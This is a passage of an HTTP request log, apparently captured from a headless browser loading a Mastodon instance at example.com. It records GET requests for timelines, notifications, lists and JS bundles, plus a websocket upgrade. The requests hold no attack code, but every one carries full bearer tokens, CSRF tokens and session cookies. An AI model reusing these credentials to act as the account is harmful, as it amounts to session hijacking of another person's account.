_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/instance/translation_languages", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/follow_requests", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/lists", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/followed_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/suggestions?limit=20", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 0NAgDa2vQEkor27m_MUbXgBLrgtUpt2FNyD6CB645mL1g2RtM3vwitPlWAxAQPrUkdzqvjleF6JnvbPL6MOVWQ", "Authorization: Bearer uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MjkuOTkzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a61ea219deff6230f47770853bb34129cea21d84; _mastodon_session=qiTNwHWH5P7vNJ2%2FlMxodh26oIv37yUf9EGFPMndJgOuJ1ztKIXWRRXb85hbOb2d2UYArjybV5L9eI3cqajEabZpIHjyiC8bn2YZealr8vQdQjqO2xh9DsrMyjJL9dBHGO9a6cjm1Sct3zYfOAgbusQG%2BuMD19yayRMmrnLBFXjh3hLjj%2BY8zD7pVB8ZAVSnKcrpYDzyYtPX%2BvhrBAUrJIGi9SASplDsThd%2Fuz%2BoqUP93gvo8L%2BReAienqSfuPYeoTaANGsaE5%2BLsMuo10rO9WYEI0GaB%2FGYyPQxUDqjH8u5KU6R6pe%2Fm6xnejXBaKRhRTp547ZxEJQa%2FUt1OZ2sVtr8WkAd9hm0Ri%2F7rsc9f5pkhT2RLem18ItB%2BlprQ9F9EiBANzTEZjfC--pAv0A7Yb1%2F020FaS--%2FPIUTD7fMIDLzKq4qWtNTw%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/streaming/?", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-WebSocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltVmtNakZtTjJNNU5UTTNZbUU0TUdGbE1qSXlaamc1T1dVNE1UUmtNekpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6MzEuMzY2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f62798087cb39d52a77f59b40d170779fc72d91e; _mastodon_session=3KI6RuYM9zGv%2FugjPwC1%2FlO%2BFeVNkvGcOrUj6CCDklyT%2BkgobTeFkFuN%2F6G5wjU5xnnoMBP1yE1HamAXxrrHGyMnRW8HCIR2r1GJykqzJsXJGLjwBqq5qLngmnRwNVgWYq9bvW99JxeU4HxhEmw47nQgYqOjhvcjc0QQgYakMaxMqmocUKYeDQJf0aeYphtcUP3svGfZc%2BfEje2nudeG87m0jPYpHc2mPnB32In1IEWjNOijjzgE0kILLZzcfQf%2Fx3t7KayVRjw43C0IU6a8qOjEFTX1IjJYAnsveNfToCTrlVKByIDAnjLnLg34miF3%2Bu6qm3td51sa7QWcuZnU2NfOCDjddytkcWzIVyToiwL24nxoYBS%2FJxIyY3QJgHekj%2FFw8yHAuv3f--88gUJNQUBbhKn%2Bsr--veY1ZNSeux%2FXsOV%2BlNp3QQ%3D%3D", "Sec-WebSocket-Key: EQjJJ6DGqvnPJceC0oQBYg==", "Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits", "Sec-WebSocket-Protocol: uTcGv1h17fUqkBaTdTyKQNG7Z3m8yS7HrP2PoClH68Y"], "body": ""}
{"method": "GET", "target": "/packs/push_notifications-C0ir4q-Q.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=v2%2Fq0E%2FqQKhuiyAwzWncgsSVevHO%2F9hltrfPHh8HYrha8F1JyaEcp0GI%2FiS8Gm6us93Vgu6CqY0vM%2BOq0bp7%2FAnuXVIFAtu5L%2FmB58Xa9XM%2BR%2Fd%2BmqfzI5WKqxGEIr8KxyHApqXEexVKSbuU3hTc7gHs5fmCMKUq%2BLoPp0PK87leSH%2FHjA%2Fv1BcyGqtFMVKKDUXkJ9kA2gG0aA3eXwXwUDur34V175OpNmTVRJP4YBNHldOFU0in6r4Y52yfoTK3GemC5ivJYjTkTWC4n41Gw6PWMWZ7Zr1C5A%3D%3D--ZMe41imfFsZeuqvn--11QYUrWIi6YrEdv47nMY%2Fg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/utils-B19lL5A9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDIuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a481d7ad991eff73f40c0414fe87ba9d8b41d1eb; _mastodon_session=cbc6a3Lk%2BKdhOtrESdEIzenzBjcsIJk8AXTSFGkysgRzzFEevEYmUbku1CS5alFWEjDOfNoICS8b%2Fl41DwXXvJ%2Ba5CmSGMkaDD7DDn1hMz31s3V5tHSqnQvHWGyQs7hOUUAZuigWUbNH9fPNMH3hMqfhjxcjdDQqMvsYItsMskR47jtgKqbEUcNKJqWzkHT2tBg5%2BuvAvarzkNLM%2BupOEFrMX7%2BMgR8gCzQfZlXjHAqD4mgIBi6RaVVo0UrsieaAsKg3Sb2kYvbtschnthBDwB2vPfr3LhnNooBlVX5xuHIBS6IEXVUIdBu7CLV1OMb%2F%2F6G13YLef1gWO7UIAz6nufB52bnp1PQhb2a5AkBDFJhVeq%2BhTVbJ3V7LNNV2fYQL9rHwghoKq2H4--vKS3FAVKl0%2FLuieX--mpOaf6XYM%2BcYJjzmk9ry5Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/simple-RcjHIGVG.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDIuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a481d7ad991eff73f40c0414fe87ba9d8b41d1eb; _mastodon_session=cbc6a3Lk%2BKdhOtrESdEIzenzBjcsIJk8AXTSFGkysgRzzFEevEYmUbku1CS5alFWEjDOfNoICS8b%2Fl41DwXXvJ%2Ba5CmSGMkaDD7DDn1hMz31s3V5tHSqnQvHWGyQs7hOUUAZuigWUbNH9fPNMH3hMqfhjxcjdDQqMvsYItsMskR47jtgKqbEUcNKJqWzkHT2tBg5%2BuvAvarzkNLM%2BupOEFrMX7%2BMgR8gCzQfZlXjHAqD4mgIBi6RaVVo0UrsieaAsKg3Sb2kYvbtschnthBDwB2vPfr3LhnNooBlVX5xuHIBS6IEXVUIdBu7CLV1OMb%2F%2F6G13YLef1gWO7UIAz6nufB52bnp1PQhb2a5AkBDFJhVeq%2BhTVbJ3V7LNNV2fYQL9rHwghoKq2H4--vKS3FAVKl0%2FLuieX--mpOaf6XYM%2BcYJjzmk9ry5Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/callout-B1KuUxns.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDIuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a481d7ad991eff73f40c0414fe87ba9d8b41d1eb; _mastodon_session=cbc6a3Lk%2BKdhOtrESdEIzenzBjcsIJk8AXTSFGkysgRzzFEevEYmUbku1CS5alFWEjDOfNoICS8b%2Fl41DwXXvJ%2Ba5CmSGMkaDD7DDn1hMz31s3V5tHSqnQvHWGyQs7hOUUAZuigWUbNH9fPNMH3hMqfhjxcjdDQqMvsYItsMskR47jtgKqbEUcNKJqWzkHT2tBg5%2BuvAvarzkNLM%2BupOEFrMX7%2BMgR8gCzQfZlXjHAqD4mgIBi6RaVVo0UrsieaAsKg3Sb2kYvbtschnthBDwB2vPfr3LhnNooBlVX5xuHIBS6IEXVUIdBu7CLV1OMb%2F%2F6G13YLef1gWO7UIAz6nufB52bnp1PQhb2a5AkBDFJhVeq%2BhTVbJ3V7LNNV2fYQL9rHwghoKq2H4--vKS3FAVKl0%2FLuieX--mpOaf6XYM%2BcYJjzmk9ry5Q%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/markers?timeline%5B%5D=notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v1/timelines/home", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
{"method": "GET", "target": "/api/v2/notifications?grouped_types%5B%5D=favourite&grouped_types%5B%5D=reblog&grouped_types%5B%5D=follow&exclude_types%5B%5D=follow_request", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 1K4R2cREa9McdgeTANk3lRUkSCEPGRcZLMhQ6_lno3ftbHM543ryA8w7eV3RYD6NP8uGxGAD1okqgBRZAZ1u9w", "Authorization: Bearer uHuudMf2ZPMQtbPuNh7RrlnFsb-N3c_07elD6w9Kr8E", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/plain, */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/start", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSmtZVE0xTUdSbU9XSTBOalkzWmpJeU56STNaakF6WlRrNE5qQXlNamd5SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NDE6NDMuMzg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f00cb179fbb47f026585f6c7592de39878d53515; _mastodon_session=aI%2Bkqk0pmlMjwnyOdhgAdojYRy2bKdioKth4IFj8SyV43LBOxblLhhC1sKnXg7ifhUJMDiVs%2F%2FqSjh2muAymx1anIpoFnFic%2FipqfKi4XOkcAFGGgPWcUDZLRFwWshZr4NWNBqdssM%2BJUzvq894b4qqBfWRaC8Lf6poo8TQ2VHU%2Fq8xY0XH4U244ejQZUt%2F1n3rCshM4jMjXz5Nf%2F5yIr6mvldxGj6cbEa7VEQkZ3Wp6l7XPQlquLU7WnP7bgUNnPp3WgQkHt4YG%2BC7U0l1SI6DePiqqjM70uBIR6HOkVWVbZ16FGwLCq2K1Fta%2FDizi7Yvm2R%2BtRzPY2qaZXpDseD26eBOyhJ1zoo1IkdLCXP5%2BGnP1RJX3kLFOLBpQiaTZJsBIYSZXWuIS--u%2BSRTN36YLIpUYgH--dzTDZ413GRp6XrWpKRrQEQ%3D%3D"], "body": ""}
